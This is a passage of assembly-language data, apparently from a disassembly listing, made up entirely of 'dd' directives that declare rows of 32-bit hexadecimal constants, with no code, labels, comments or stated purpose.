		dd 9725A89Eh, 0E1300092h, 0EA65224Ah, 0C57D74B2h, 0A40A9D74h
		dd 0A493DF4Dh, 389FC800h, 260F2309h, 8EB06A65h,	0D60090B9h
		dd 0FE4054AFh, 7258C500h, 27C89239h, 0B998C125h, 0D4C95C46h
		dd 2A00E2E3h, 93B60A57h, 0AFACFCh, 0FD199F8h, 8FAEF159h
		dd 0CB133D03h, 0C0B2E8EFh, 7EC7C4Ah, 8E33B811h,	24E700D7h
		dd 31029064h, 7B26F922h, 84E04858h, 8641302Bh, 0B4669F98h
		dd 0AB0D190Eh, 8DD30062h, 0FD0133h, 0EDF4D456h,	9C1211A8h
		dd 0AD0031E6h, 8B04FB9h, 7980274h, 38333BFEh, 9AE0DF35h
		dd 42C1B604h, 7A0050FCh, 0DB1B300Fh, 0E8E81391h, 8CFA0008h
		dd 0E6B9A66h, 0D28B572h, 500E9E3h, 76D58B43h, 0D2E670h
		dd 58423B1Fh, 0E5949D0Ah, 64002A4Ah, 0E9FBB0D6h, 1D6E2E29h
		dd 57FD0074h, 4AA72303h, 18DF7900h, 0ADED3386h,	755500BDh
		dd 97F74EB1h, 0D4008A4Dh, 0ACD3A9A6h, 0E8E3D8h,	3C397C49h
		dd 0BAA2AAF8h, 0C41D8328h, 0C77E8B1Dh, 72F98C00h, 3F49B2Eh
		dd 6AB66ED5h, 1589DAC3h, 0DC86F905h, 7A014007h,	7EF0276Bh
		dd 0E0E233B7h, 79A7342Eh, 626D0081h, 0DA45F95Fh, 0FD02F4BDh
		dd 646B3C0Fh, 0D89BC09Eh, 20F1480Eh, 0CEF30D07h, 0ACB4D2E6h
		dd 54271060h, 9824AB07h, 0EF504D6Ch, 7DD210h, 6BE628F2h
		dd 569732E4h, 4B622600h, 0BA1F6138h, 0FAFE003Eh, 3920BB25h
		dd 693D2E33h, 404A8063h, 0F1D4B1DDh, 58CE1F92h,	50B381AEh
		dd 0E4B8C01Eh, 1B013933h, 0D750F65h, 65606935h,	0CFEB036Ch
		dd 0E4DE7194h, 0BA244EF0h, 0B2550900h, 930457A7h, 89DC03D3h
		dd 0FB90C48Bh, 3F661000h, 2DC62E30h, 0B52F0308h, 0AC48CC75h
		dd 91C1A7C8h, 8AE61C76h, 902CBF00h, 36DC2FFh, 95EA001Dh
		dd 0E7CF7156h, 783F2A31h, 5EF18007h, 0DF6270A1h, 8C521D1Fh
		dd 6DC405Fh, 797B0CE7h,	0DB1D1500h, 0E220CB98h,	0E8CA0E8Dh
		dd 39A04544h, 1CC7547Bh, 13DFD200h, 66EC1555h, 486CB009h
		dd 0B8058CD5h, 0C0804327h, 0E6A2C15Ch, 19447009h, 0FAFC0097h
		dd 0A182F8h, 436994F6h,	50355BB3h, 0E4ED4400h, 0FF76F0B1h
		dd 0E6E100B8h, 19BFE004h, 0DC5CCA72h, 463F65h, 3BAB0CD0h
		dd 73AEE371h, 0A705049Eh, 0A06D5912h, 300E6F8h,	0E4B6A31Fh
		dd 0EE1CCF6Bh, 1E8100D0h, 9CE3B0D9h, 6A003228h,	0F70A359Dh
		dd 70E90FF4h, 958324F6h, 226D015Ch, 0E034C6BBh,	6F0010F9h
		dd 397961C8h, 7C2DE337h, 661B003Dh, 0B1EA4727h,	0E707A503h
		dd 5BB20194h, 0B9224820h, 0FE140205h, 0C52B324h, 1E0E2868h
		dd 80F10800h, 0FCC77954h, 214903Ah, 2477DFDDh, 0ECC0272Dh
		dd 0D8B9481Bh, 281737ACh, 0A4B5400Ah, 7D52D981h, 0C435433Dh
		dd 1AA064DAh, 42313CDAh, 209FC841h, 0C303B6Eh, 0DF6F3891h
		dd 6EC80072h, 98ACBDCEh, 3600B596h, 5811611Ch, 17586EFh
		dd 855B5F20h, 3092D3DDh, 0D208BCB0h, 0B2118B2h,	3502F4E9h
		dd 0C0501327h, 47667D00h, 0A85FA1ACh, 3A440079h, 0BAFEE108h
		dd 1B1F024Dh, 0FC1F9Ah,	5D5B8BCDh, 2EF03ADh, 54132B3Dh
		dd 0B0603975h, 2A00C949h, 0A33A3E4Dh, 24307Ch, 0A070E85Eh
		dd 93088583h, 2055C8CEh, 56C93274h, 0E98800F4h,	5F7AD6AEh
		dd 100E861h, 869695B5h,	0C4DE3Ch, 36E40487h, 0A1DD9754h
		dd 9BE31F09h, 305841BDh, 0ADC870h, 0FDC52C52h, 4F97F4FFh
		dd 0C878EB00h, 5F7EA993h, 0F3CE073Dh, 27339ABFh, 1D0480F4h
		dd 0B4006E7Ah, 0C35A52AEh, 1458CFh, 4F7406DAh, 3BE6A663h
		dd 6F865912h, 0BCBB5C00h, 1F52FB22h, 81CC8060h,	0D6E95B10h
		dd 6820802Ch, 51795EB4h, 0D1500B08h, 9020C58Dh,	0BD728357h
		dd 744F9024h, 0B3C35D83h, 1AAAE0CEh, 0A9DF0011h, 7380C6E0h
		dd 0F5004303h, 0D5ECA6C1h, 0EEBE341Bh, 62241F54h, 88037A82h
		dd 8679B7E8h, 1E461900h, 0C99A158Dh, 0FBE900A1h, 0FC2D80EBh
		dd 28028579h, 2AD301F8h, 5CA06163h, 0F7DB9C8h, 0A8F3606Eh
		dd 4CFA6887h, 6F007E19h, 6BBF2F5Dh, 4D90CCh, 19E9A97Bh
		dd 643EFEEFh, 17D29C58h, 6800208Fh, 0B3A1AD53h,	84650190h
		dd 974C8CB6h, 5574F405h, 0AEB5F107h, 7D4042A9h,	1AEED9h
		dd 0D226F337h, 0FA185D6h, 6CA02E04h, 0B0803514h, 4892372h
		dd 39F59052h, 58E38057h, 0F30088B7h, 0C6BD42F4h, 48A12C84h
		dd 0C300000Ah, 2D73E049h, 0CC05BCAAh, 3B580D89h, 5334A090h
		dd 14FE0020h, 0D6D1412Fh, 0B407A31Ah, 15F075F9h, 0EFFB9110h
		dd 9EC30730h, 0B0A90946h, 0CAFD2F9Bh, 0EB56939h, 0F3138018h
		dd 5498C114h, 0D0009238h, 8B614B48h, 45D3BEh, 544F1F91h
		dd 0CCC0501Eh, 94A26400h, 0B232245Ah, 0AC2C5868h, 768050h
		dd 5EE95DDBh, 4E880CCBh, 6C274B0Eh, 100B20DEh, 192901h
		dd 0AB946B52h, 124F2FAEh, 0E721300h, 3782C13Ch,	0DC183060h
		dd 235C0F40h, 0E6D3F201h, 0D1B9251h, 688018BBh,	0D785F33Fh
		dd 7324D167h, 0B79748AAh, 11DFC28h, 0E937B1ACh,	0F834F566h
		dd 0F335DD8h, 0D0AF2072h, 0E105EB2h, 63FA8E22h,	0AE2DDB60h
		dd 582ED8B9h, 5900CBC7h, 0FF66620Ah, 0E7E00012h, 139C1F70h
		dd 9009A2Eh, 0F498672Ch, 5CB83D5Dh, 0B0085E9h, 8670B447h
		dd 0C20035C7h, 0BA884FA4h, 0B3FC01Ch, 2B0A7BCh,	9580440Fh
		dd 898BC891h, 0A18C5000h, 11472F42h, 7E680039h,	0B7BDA240h
		dd 0F026E7Bh, 272B2904h, 9178601Ch, 1E44982Eh, 409D4B1Dh
		dd 3AFEF5A8h, 1207532Bh, 0F7F83151h, 77C9E910h,	620B07A9h
		dd 82AAF352h, 7CD8E332h, 0EF677C0Eh, 0FA9C8208h, 0D17860C6h
		dd 4DCF01AEh, 4C07983Bh
		dd 0E19C607Bh, 0A52A3006h, 1F107E12h, 7C5B2557h, 0CC3B9A00h
		dd 11FB6505h, 4A324300h, 9CD9E8Dh, 0A3E09E2h, 10916CCAh
		dd 20A2F17Ah, 8C00AC2Ah, 0C873F75h, 0E2A602F8h,	245E1F95h
		dd 493080A2h, 0C9888F12h, 181A2C1Ch, 3E9DCFC0h,	93AFBAh
		dd 0D99DD6Ch, 764E803Fh, 9A264700h, 97F3F016h, 88580049h
		dd 0E8A5541h, 84B79F8h,	0D8924800h, 3D281376h, 1160EAB9h
		dd 61309E31h, 8ABA1B07h, 9A30B148h, 536A17h, 6673497Bh
		dd 0C586B9CBh, 91E13900h, 0E7E6705Dh, 0B4E000C2h, 0F64E632Fh
		dd 2A00A6A3h, 0B1BF6F80h, 90EC7E49h, 6AE0034Dh,	85D543AAh
		dd 51FFE188h, 246E624Ch, 0A600F838h, 6D748425h,	0ACB700EAh
		dd 0ECC67D9h, 0DD0178C9h, 0DF701DAFh, 4389B05h,	1C398903h
		dd 0EAC8E16Ah, 0FDEC115Fh, 203BDD00h, 6F281950h, 2CE07463h
		dd 85C822FFh, 90AA1434h, 3D30AD30h, 0DF012C00h,	6D510267h
		dd 0C3577CA0h, 21D52521h, 0B8A43900h, 0B363770Ah, 632F9009h
		dd 8362185Fh, 2A187BC0h, 544D3800h, 103D2F6Eh, 0F87400A2h
		dd 20B5C636h, 0AA182490h, 0B830697Fh, 0D7400CE4h, 1A612542h
		dd 724DC701h, 8A0ABB69h, 803820ACh, 32AD61D8h, 0DBF848DEh
		dd 0E5C00CA0h, 58A43F19h, 7B006998h, 0AC2ADF63h, 0B800A80Fh
		dd 0E5040E0h, 0F0E3FFh,	0A72E7330h, 3D62D07Bh, 9963DD1Ch
		dd 0A5FA00FEh, 0D90E37CFh, 84BC1D45h, 0F84CC03Bh, 5555BB6h
		dd 6E5C7000h, 0BE92165Fh, 0B4000AAh, 6AD24965h,	3E00B37Fh
		dd 289062Bh, 3685F05h, 3CCA63B0h, 4F801D75h, 0AF062B78h
		dd 6918723h, 0A4BB00CAh, 266A19CEh, 0A90F2C7Eh,	0E0DC3603h
		dd 64C41C66h, 0ECC89013h, 10BD009Fh, 0B12E7963h, 6F26B7B0h
		dd 803E6FC9h, 0C00B7A66h, 0F3AF8C2Ah, 0ECF48D61h, 0C6C2853h
		dd 0ED8F0184h, 4EC4F77Dh, 0C026C119h, 820054B5h, 0DFAD0E76h
		dd 1F8DEBD4h, 4170BDD7h, 45D08F43h, 61ABE0D3h, 0A48AF00h
		dd 23FA937Ch, 714316DDh, 0A624099Dh, 2BDA3100h,	35005AAAh
		dd 0AD194122h, 5F8B5E31h, 0D5F04056h, 7CB27405h, 4DE0217h
		dd 2D9910D0h, 9BCC00A3h, 2F47689Dh, 3D008AA1h, 238FAF7Ah
		dd 1D5FFBE8h, 40927332h, 0F569374Ah, 0FD015B41h, 0A3832EB8h
		dd 0F4F0C146h, 3E5FE36h, 51ECBCFh, 0C0F449BFh, 80F6434Bh
		dd 0EDC22707h, 770D03Ah, 980D5Fh, 0B072F5D5h, 0C1CB1EF2h
		dd 79B9CC00h, 2D4D8217h, 357D7Eh, 2CBC0AECh, 45D45BF4h
		dd 761E4677h, 8809732h,	0A3A1176Bh, 0B8D2009Fh,	0F19354F4h
		dd 3300BD0Ah, 275AD8CEh, 2EFBD455h, 179F2123h, 94610056h
		dd 4F7B0ECFh, 260C090h,	0F8C921E8h, 0BC113EA8h,	0A92ECD07h
		dd 9A002F08h, 4C27FD9Eh, 0AA122400h, 0A798E0F6h, 0BA9B1299h
		dd 1BA00450h, 0C7B0C8D3h, 3D8A14Dh, 9F4B85DBh, 80E2B3D0h
		dd 0F203BD8Ch, 2EFC005Ch, 3AFAEA20h, 1001AFF3h,	0C5509809h
		dd 0BE43270h, 4359C1BBh, 70084623h, 41177974h, 511EFBA3h
		dd 3E1C002Fh, 7C5BFAB9h, 896E00DEh, 0CC83B338h,	37753076h
		dd 14E97400h, 16EAE5A5h, 568400D3h, 5C1B50C6h, 7B00076Ah
		dd 797E730Eh, 76AE15h, 4B921089h, 484D617Dh, 3C0D8F1Fh
		dd 0B1E8B2C7h, 2AC8D710h, 0B48D0C02h, 96E88151h, 5B82580Bh
		dd 0BE8987F2h, 0E2EA4F70h, 7D7578h, 94CEB4C1h, 9C666F46h
		dd 28D61400h, 6BBA909Eh, 0F34842h, 1BD0E200h, 0A7708156h
		dd 73E72007h, 88C0108Fh, 0B053FCh, 0F7EF4CBBh, 0D20A8A24h
		dd 0A4F92B12h, 0E0EE280Fh, 0D463A317h, 0D73701A6h, 1127960Fh
		dd 90FCC0B2h, 6618C01h,	0CEA1A8EEh, 782E33E4h, 0D6B6011Ch
		dd 0ED10BFB3h, 0EFC741Fh, 2B3B4E00h, 223CD414h,	1E040416h
		dd 0E09E11AEh, 0B27AF360h, 3281A700h, 0CE67E252h, 43630369h
		dd 85390E14h, 191C97D0h, 0AF7E030Eh, 283434h, 8C84A63Eh
		dd 7A79525Dh, 80B56103h, 20BC10Fh, 0A50D005Ch, 5A00AF43h
		dd 6C320799h, 38E1E7D7h, 0B304578Ah, 0C4C5DE37h, 0FA858045h
		dd 1A002F92h, 69FFFD31h, 30C0C11Dh, 0E2B08F8Dh,	6D00024Dh
		dd 7D57FA96h, 0B826629Fh, 596402BCh, 0A777768Bh, 2F962848h
		dd 1521C309h, 414C00E3h, 0F68649F1h, 0EB24034Bh, 7B04B02Dh
		dd 767490E0h, 9C80952Ah, 8F01A60Fh, 0F7D820B7h,	75F3CEh
		dd 0AB47EC9Ch, 0C8E95184h, 0C9F033FCh, 0B3434E00h, 16CA5FFEh
		dd 616E743Ah, 719F8088h, 6BE2F431h, 0DFB71D00h,	0F2A609A9h
		dd 0E22057Dh, 0C3FD4B35h, 0CCC8DA4Ch, 520C57A7h, 52393804h
		dd 13471D40h, 0D14147F0h, 0FC42E075h, 9700EECFh, 19E9BC16h
		dd 0F3BAF9h, 99605120h,	3690E221h, 8E00D1F8h, 3E0C9E29h
		dd 3FF37C7h, 0BFDB007h,	78F8AB39h, 10CEB174h, 5DF28002h
		dd 5C2E71D6h, 28001103h, 0DC90EC5Eh, 9D01F037h,	7D91E724h
		dd 0F3D0845Fh, 2C0B0001h, 4E281CE0h, 6E0094A4h,	74D03746h
		dd 0E22548h, 93FB1ADEh,	0B9B7DB54h, 0A7441E1Fh,	946E1800h
		dd 9F62FFh, 0BBC74D6Bh,	503AEF48h, 2E548E1Dh, 8FD97B40h
		dd 2ECD2435h, 261EBC3Bh, 0E0A80360h, 0B9C3CE3Fh, 9C86E8D8h
		dd 208C9A01h, 0F8A48EBBh, 0F5CA360h, 2E23067Fh,	901E67C7h
		dd 1AB495A8h, 7D003E7Ah, 1863D18Ah, 0F8766Dh, 58866E21h
		dd 0C3F6BB19h, 5570EB03h, 0BC1B2Ah, 0D25E3998h,	19C89AFDh
		dd 0F2845701h, 4E8F8E2Bh, 0AD124C5h, 11A4FA21h,	9B7D00CCh
		dd 7EDA3DFEh, 18811630h, 0A4D4ACh, 2D74465h, 2AAF2D3Eh
		dd 0B6A60F00h, 0AEEF4D22h, 0F6590C23h, 0C1C2EB93h, 94CCEE07h
		dd 52A0EA62h, 0E0C238C6h, 0F90C0027h, 0ADCB4CA8h, 0C50F3D5Ah
		dd 805CA32Ah, 2875A1E0h, 5D6200A2h, 7F93A510h, 3603545Ah
		dd 173E7B92h, 693490CAh, 0E9782Fh, 90EE646Fh, 666DAF3h
		dd 8A0068E0h, 0E0501932h, 5FE52Bh, 53510C71h, 0A12E4F48h
		dd 3DA7AA00h, 15D87C43h, 556A014Ch, 0A01B49C3h,	240170BCh
		dd 8AC2903Dh, 0E9143176h, 7860CB00h, 0F8563DBh,	6671752Ch
		dd 94CC0E0h, 1005DE4h, 6B34A7B6h, 7D4C82Bh, 3A79595Fh
		dd 66D7E0C6h, 9C0301ABh, 16546021h, 0E6DCE823h,	0ECDD0031h
		dd 19815587h, 64001C0Fh, 80136303h, 23E322h, 7A40AEE5h
		dd 47B32B5Fh, 93C99A0Fh, 240E00ACh, 0FC502F8Ch,	64FE14h
		dd 0AE451665h, 0B38EE461h, 523821Dh, 54C6DC00h,	2C92B59Dh
		dd 0EE2016Ah, 4F607AEBh, 5C43C169h, 80484A38h, 0A1356253h
		dd 29FCF8h, 8AAAF340h, 5F7F4E90h, 83003AB0h, 221C10E2h
		dd 0B0C51247h, 7080A054h, 9FF800D2h, 20132E56h,	6E00AFBAh
		dd 0D066C6F6h, 0EB77C11h, 0C2330EA1h, 60C09B4Eh, 75552589h
		dd 0F20343EAh, 63FDF383h, 50ECB8D2h, 0AA1307E3h, 2F81C3h
		dd 703B7324h, 6671F560h, 3D5BD03h, 0F0870AFCh, 18000D1Eh
		dd 0E5DFBA98h, 283C5599h, 2450F396h, 2088BD4Dh,	354FEA8h
		dd 53348361h, 47D8FA7Bh, 0EB01C10Bh, 0ACADF9FEh, 1840EA6Dh
		dd 0F64C2963h, 54EB01BBh, 53414219h, 73FC24B9h,	0E11ECE26h
		dd 76017716h, 0F4ACD0C7h, 0F789F8h, 556F2F18h, 0A40014Dh
		dd 0E01AF306h, 2660670Fh, 17564E9h, 22E92EBh, 0BB708541h
		dd 301231C3h, 0CACF205h, 0E91C61C0h, 70CD0055h,	26AFB92Eh
		dd 14009603h, 0BCAB5135h, 4EF077h, 7B4CA920h, 0AD56BEB6h
		dd 39531E0Fh, 214BA0D6h, 0F81A5065h, 99900B4h, 0E446D8C9h
		dd 0DD000D33h, 4111CB67h, 709B65h, 0BBD16A9Ch, 8239EE61h
		dd 322C4600h, 73FD6C2h
		dd 98253C0Bh, 0E10C8900h, 58F9C14Ah, 0A6034D70h, 73CD8D51h
		dd 6D49E05Dh, 7EAD0086h, 1062C9D3h, 7100C0D8h, 0E741E569h
		dd 1850D02Ah, 0F0AEBF39h, 0A91EB2DCh, 76403E23h, 42B68D84h
		dd 6B900E2h, 0F94CCEACh, 0D35C560Ch, 0A19100E2h, 129EEC4Eh
		dd 0D1430001h, 97AD2049h, 8001BBD6h, 4674B02Fh,	0C7F4B67Ch
		dd 0A2231E1Ch, 6601B8CBh, 0D179CD63h, 0B955C83Dh, 0F320A09h
		dd 0BDFC1024h, 0FC654D80h, 8FF6981Ch, 0BF622D5Dh, 186069C1h
		dd 4B034609h, 1112FF4Eh, 0C1A9097h, 0E9B5006Dh,	66E03AE1h
		dd 0AE00CC98h, 625DA42h, 7FEE91h, 0A029FA6Ch, 98A9D575h
		dd 33085Ch, 0F0E96A9Fh,	13EC6669h, 0BAE0A3E8h, 3CDBF90Eh
		dd 0AC5291C0h, 73D74Ah,	0C775D4CAh, 9BE64B5Ch, 0F20A0800h
		dd 5DEA966Ch, 4F40769h,	7BB49DAAh, 0CFF3045Fh, 15E56C0h
		dd 3420E3F0h, 0C1B50007h, 370F6A47h, 5200925Bh,	0E6844F1Dh
		dd 24D1F59Dh, 80447CFFh, 10F01CAEh, 0E43A3735h,	0E9F880DCh
		dd 0E23A2CAAh, 89ED00B3h, 8D3F5052h, 0D300D1D6h, 0E37686E5h
		dd 70EF3B6h, 0F24D4FD2h, 689980E6h, 82006D85h, 585F8894h
		dd 0FDAC0B4h, 0E0D364C6h, 4EB32E81h, 2EE0D2D0h,	0FF0097D5h
		dd 0A07ECCDCh, 7CE85AD1h, 0C533EF0h, 0C571E280h, 52B072A3h
		dd 7FF74D0Eh, 1C4BE06Eh, 26D365A2h, 3E0B8FFh, 0DBE930B2h
		dd 21E3C0B8h, 577D7C12h, 18334700h, 4DCCBFh, 584E7680h
		dd 14F88CA5h, 80A0B9E6h, 0D412D6C9h, 1100F977h,	6C6F3004h
		dd 8B6401D0h, 0C2C78A93h, 0D643F412h, 0EFB1F500h, 0F0BF46D7h
		dd 0B8A1727Ah, 0B08C13E2h, 0C8D0045h, 0E15D0BA3h, 5827500h
		dd 0A9163365h, 0AE9305C4h, 838E43D5h, 0E2F02EBCh, 0BD05A58Ah
		dd 0B889D3Fh, 8E686280h, 10D8A05Ch, 59FA1C39h, 937C80BAh
		dd 2CC3AD8h, 0D67F4B00h, 23F719A0h, 18B40097h, 26C79A4Ah
		dd 0E02817B1h, 9922F0F3h, 44B30095h, 0C30D182Bh, 3C60C785h
		dd 71DD6D48h, 74A500B7h, 9C1150D6h, 0F103D1D0h,	0F2BA39DAh
		dd 4E1805C3h, 8366B5CAh, 0CB91A255h, 9405207Ch,	60D74200h
		dd 0CEA72409h, 0F7DD242Ch, 1A8FBA24h, 0A0583D49h, 0AA186311h
		dd 0A1114881h, 16F40979h, 5C01049Bh, 0EF4285h, 3CEA641h
		dd 0C1576756h, 0B6B00982h, 3F1EF05Ah, 0AA40213Ch, 0B3DEF143h
		dd 0C65503CDh, 7FBB9F14h, 4007F588h, 19DFC901h,	0F0AFE386h
		dd 0E582E8h, 4C3B6A4h, 6D5D01F8h, 0A0B23C00h, 0FDCCE1FCh
		dd 91E20038h, 69F41F13h, 0EC3B33CFh, 6328040h, 0B0442107h
		dd 0F17FEDh, 0D90EEBA0h, 0C85BD8C1h, 64DEDD00h,	95CACD7Ah
		dd 2D50003h, 47460BFEh,	33F67657h, 0ABDDC50Eh, 0DAE743AAh
		dd 0C9B990E8h, 6D5900FDh, 51B50490h, 0DE003DE0h, 0CDED01DDh
		dd 16630AEEh, 821578h, 84742EE5h, 0FF146781h, 1D94EDB2h
		dd 1D9C9C14h, 0C80C9740h, 0F00BFD35h, 2ECBEA5Fh, 80302EBDh
		dd 769EB31Ch, 0F0E9D1F7h, 0F0A0E434h, 0CD2CEF2Dh, 0FF80CC31h
		dd 0EA46A73Ch, 17B5701Bh, 768D26h, 0C2918D4h, 5B00B16Ch
		dd 37258C49h, 2824137Bh, 0BB4DE99h, 1B80C063h, 7EE7A700h
		dd 200001ADh, 6EB25903h, 130BFF74h, 3F0A113h, 90831E3Eh
		dd 7D76BB0h, 384C893Ch,	5C9AA667h, 9243969Fh, 0A8065217h
		dd 1FB4A5F8h, 12355C5Fh, 2C8C40BAh, 0B9340C4Dh,	0AC6D2804h
		dd 2C90018Fh, 5D94D0h, 8D58426Bh, 0C0C1247Dh, 692EAB04h
		dd 84D05610h, 260D3198h, 8500E261h, 80C05E08h, 3F1315C8h
		dd 5696F8C0h, 0FA9D1637h, 1E357F64h, 809199AAh,	3A83170Ch
		dd 62008790h, 0B82BE94Ch, 7B816818h, 7D1B00EBh,	10F123ADh
		dd 5519F3E7h, 19DEE19Ah, 2C6B20h, 0B4DBE05Fh, 0A7F60A80h
		dd 6900BEE2h, 0B0E8C1CCh, 8FF43Dh, 118DD406h, 0EB32AA39h
		dd 5B447101h, 4B3ED6DFh, 1B449F0h, 7BFA1730h, 0FF1DBC53h
		dd 73DB880h, 7408092Ch,	0A5103040h, 0C170E1h, 70EF1C75h
		dd 7DE44BE5h, 0AF0F3C74h, 8772C746h, 0C310127Eh, 7DD982A0h
		dd 5B07291Dh, 9D70008Ch, 0D4E51056h, 2B99B000h,	49341442h
		dd 5B6E0096h, 0ADB9A80Ah, 8900D4B3h, 826AA668h,	58136B0h
		dd 21565170h, 226C803Fh, 7B038443h, 58F61E5Bh, 40D9F0D3h
		dd 2D1B03BBh, 0E603E368h, 0FE76000h, 663A5E83h,	2A550065h
		dd 532E4C36h, 8E00592Fh, 17D003A7h, 0BA7BEFh, 0E623412Bh
		dd 0BDE032B7h, 360C8700h, 37F1D898h, 0FA1109A4h, 34237E30h
		dd 93886C9Ah, 0E4004DEAh, 52F523B3h, 253ABCD1h,	70156FD4h
		dd 0A06F5E1h, 17A6028h,	40991EDFh, 8F4833Ch, 51208618h
		dd 54841D53h, 14812C7Bh, 3A1210ECh, 9A7C909Fh, 0E400E01Ah
		dd 13DFB299h, 7CC8617h,	94AA9DB1h, 1EEE7093h, 0A90E7037h
		dd 0C0C4043Eh, 270C7B83h, 0BFFC003Bh, 6DA2D28Ah, 7E0762EFh
		dd 0C3C2BAABh, 515D0900h, 4AE70283h, 0D5F924E4h, 0CA069C53h
		dd 89181Bh, 0FDD2F7F0h,	0BCB977F1h, 3D00547Ah, 0AD55F481h
		dd 0E12F0FACh, 8B0B8029h, 2A80237Ch, 0EBD5F8F9h, 25785F00h
		dd 54F70C30h, 0C5D90705h, 0E0E642E2h, 0A76E8BAh, 7E37FD1Eh
		dd 0AA5D03C0h, 3F3FBE54h, 0BD74F4CFh, 40BC9200h, 5C07CEC1h
		dd 3AC067B0h, 9B9A0DE0h, 20300E4Dh, 0F8008FAEh,	0CCAF6A37h
		dd 7A9B239h, 0AB8A9791h, 66038460h, 6E0900A2h, 7D9ADC9Eh
		dd 13039564h, 53BD1093h, 2A2FA1DAh, 16A4FD0h, 0EA9FA118h
		dd 0E4AB15B3h, 4E002324h, 0E7AD0135h, 0D50855h,	0ED0D73DBh
		dd 6A48575Bh, 1000C6F2h, 0FD2DCAFh, 0AACC0Ch, 0C3A3F0B1h
		dd 0D1E29D67h, 0ACFAB800h, 61F4D65h, 0DBB8A8BEh, 752700E0h
		dd 0B9540C83h, 8CC013Ah, 7B21D4h, 3DF271Eh, 0B0FAD306h
		dd 0CB639E00h, 0E7FF9AF6h, 0EF0F0F88h, 0F022C1B5h, 0B8C4E47Eh
		dd 0E108A800h, 0BB4EBD1h, 0B3C333AFh, 217F3908h, 56E1201Ch
		dd 0C06650C0h, 2D1204h,	0D34B001h, 848F42D8h, 0D548BC02h
		dd 4470D1AFh, 734F006Ch, 0DA990FFDh, 6AFA4CE0h,	0AD6408C6h
		dd 7DB10120h, 0EEABD8FDh, 58C32B40h, 0BBD132C1h, 5307FA8h
		dd 0EB9411E1h, 883B88DCh, 221C2103h, 8E2E6840h,	0FFF912h
		dd 37C645EEh, 0BC98F14Eh, 0A0380718h, 0EEF80h, 0E709819Eh
		dd 2FF4A165h, 7FA2803Ah, 7F6B21C0h, 0AAD683h, 0C308C7B9h
		dd 2F6242D9h, 3AA9C260h, 98743D87h, 6339272Bh, 0D4BECC80h
		dd 0CAE833A8h, 0D608000h, 1D28AE29h, 55D8C1B8h,	804DF790h
		dd 1830E9F0h, 0AAFAEDh,	0C48BF10Ch, 13756B79h, 0D4C7C301h
		dd 1F702F99h, 0EE6ABF8h, 83EEC1Ah, 0DD17801Fh, 0D20A7E96h
		dd 0C02AB32Dh, 0CFAFC9h, 46437029h, 0DDD5A3FFh,	9601B800h
		dd 0AE025DE9h, 0B0AC00A7h, 29462566h, 863F0862h, 4A3E00A9h
		dd 0B23B68E3h, 0DA123061h, 0A7481A84h, 0FD46BA3Ch, 0B4580400h
		dd 0D381645Bh, 0CBA400DEh, 37D4FE72h, 8001DD2h,	0AF2F090Dh
		dd 1289668h, 0FA5F94A9h, 0F42A2EFEh, 400D2BDh, 0C89B9FCEh
		dd 96967A7h, 51300E77h,	0EEA0048Eh, 0F4C3D604h,	0B28E3118h
		dd 9032Eh, 0A182FF98h, 0CABF0584h, 0DDC23700h, 0B776C9A4h
		dd 1213005Bh, 49EF43C7h, 0CB0079B8h, 7493180Fh,	0F0EE9860h
		dd 0F2A1004Bh, 3071FA3Fh, 0C200EACEh, 0C199233Bh, 9C66C26h
		dd 409A32FDh, 80A09787h, 63EBB828h, 0C989CA0Eh,	0A0554F05h
		dd 4BD3B91Eh, 82450067h, 1BCE74E4h, 9100F49Ah, 94A32A60h
		dd 7C441h, 38FAEE8Fh, 545C2C59h, 0D17DAA07h, 705066BFh
		dd 0EFA0BEh, 0CA0BA5DBh
		dd 36F414BCh, 0B8D44807h, 53705C78h, 0AA2EF8h, 59189565h
		dd 96EAD1EEh, 0EC48B109h, 5D91004Ch, 1ED8ED3h, 0DC790D51h
		dd 0FC77917Ah, 2500FE92h, 6AFD5ACBh, 0AC03320h,	0C260C13Ch
		dd 1B710094h, 0E8640245h, 17008E7Ch, 7A2B7359h,	0CF677Fh
		dd 0D7F0D222h, 0A562E59Eh, 98FF5A3Ah, 5D61860Ah, 0CC5700FEh
		dd 0D43B4AA1h, 0E707E354h, 211768CBh, 9F7B4A0h,	2E760039h
		dd 0EB54935h, 78005875h, 6387C6DEh, 584C81A6h, 9D0020F3h
		dd 68EB25B6h, 1F007B9Eh, 72BE20B0h, 60DB491Eh, 6D66C0EDh
		dd 0BD005CB8h, 0AA23B0Dh, 5E1A84h, 67886CEFh, 0CA160BFDh
		dd 0F8970300h, 41334571h, 70463EB4h, 4023DF00h,	536951CEh
		dd 2A31B61Fh, 81660DCBh, 43B5BC4Dh, 14B4ACF4h, 80A49DC7h
		dd 9F1D4A0Ch, 2CA81FF0h, 4C1F3AF2h, 0C947BF59h,	4E109EF1h
		dd 339FF03Eh, 0FEC8B372h, 0F78E01C8h, 2637B501h, 0F0AC0523h
		dd 0B2D3CCh, 24E29550h,	0EFD96FB7h, 596A3600h, 4F676DE0h
		dd 0EE9033AFh, 45E84878h, 39051247h, 0E45F0371h, 0F621A900h
		dd 0B61B9F8h, 58F38C5Bh, 2520DC80h, 0B0032DCEh,	0D013CC6h
		dd 8119D8F8h, 0C28901A3h, 85638B29h, 0ED64E05Dh, 9FC87905h
		dd 0E442FF22h, 40C37F56h, 669904h, 0D2551B53h, 0B5F05C33h
		dd 0C4023Fh, 6DFE78C8h,	64A35B37h, 0C65CB06Ah, 0DF01B01Ch
		dd 50A12935h, 70C415F7h, 868101CEh, 0DE3067F2h,	0DA0CB52h
		dd 3401F511h, 89D53C31h, 4E803E87h, 0FBD48CC1h,	2C3BE73Fh
		dd 0DC480ADh, 0DCEDD3C5h, 0B8177C8Eh, 4E390047h, 0A631F0B5h
		dd 92009ED5h, 7D333CABh, 71B746h, 3BCD156Bh, 37E07E91h
		dd 9300B198h, 0F4F15559h, 38E4FD6Ah, 9D9CBA61h,	2BB600BDh
		dd 72576CC9h, 0ED785500h, 92DBB2C0h, 0CCD73A61h, 13D04100h
		dd 0F5323C82h, 35290E01h, 2DC6810Fh, 134047DCh,	99FF605h
		dd 0AB000B0Bh, 79C012AEh, 5D27570Eh, 40C4137h, 0C2E07BA4h
		dd 529C0046h, 185064FCh, 0C7010FCEh, 2A15D8EBh,	3881C1D6h
		dd 7AD352F3h, 7CE5CC1Ah, 4361F001h, 5A7773C3h, 0DF2ECCh
		dd 5DDAF108h, 3FE6B2BFh, 0F9184E00h, 0D57E6A43h, 192C1D48h
		dd 0BCAAC028h, 50FD3A42h, 5A00E092h, 0F4490F68h, 0A13480F0h
		dd 0D7F02490h, 0E87C009Bh, 0B37A8711h, 5507C073h, 8B88C7E2h
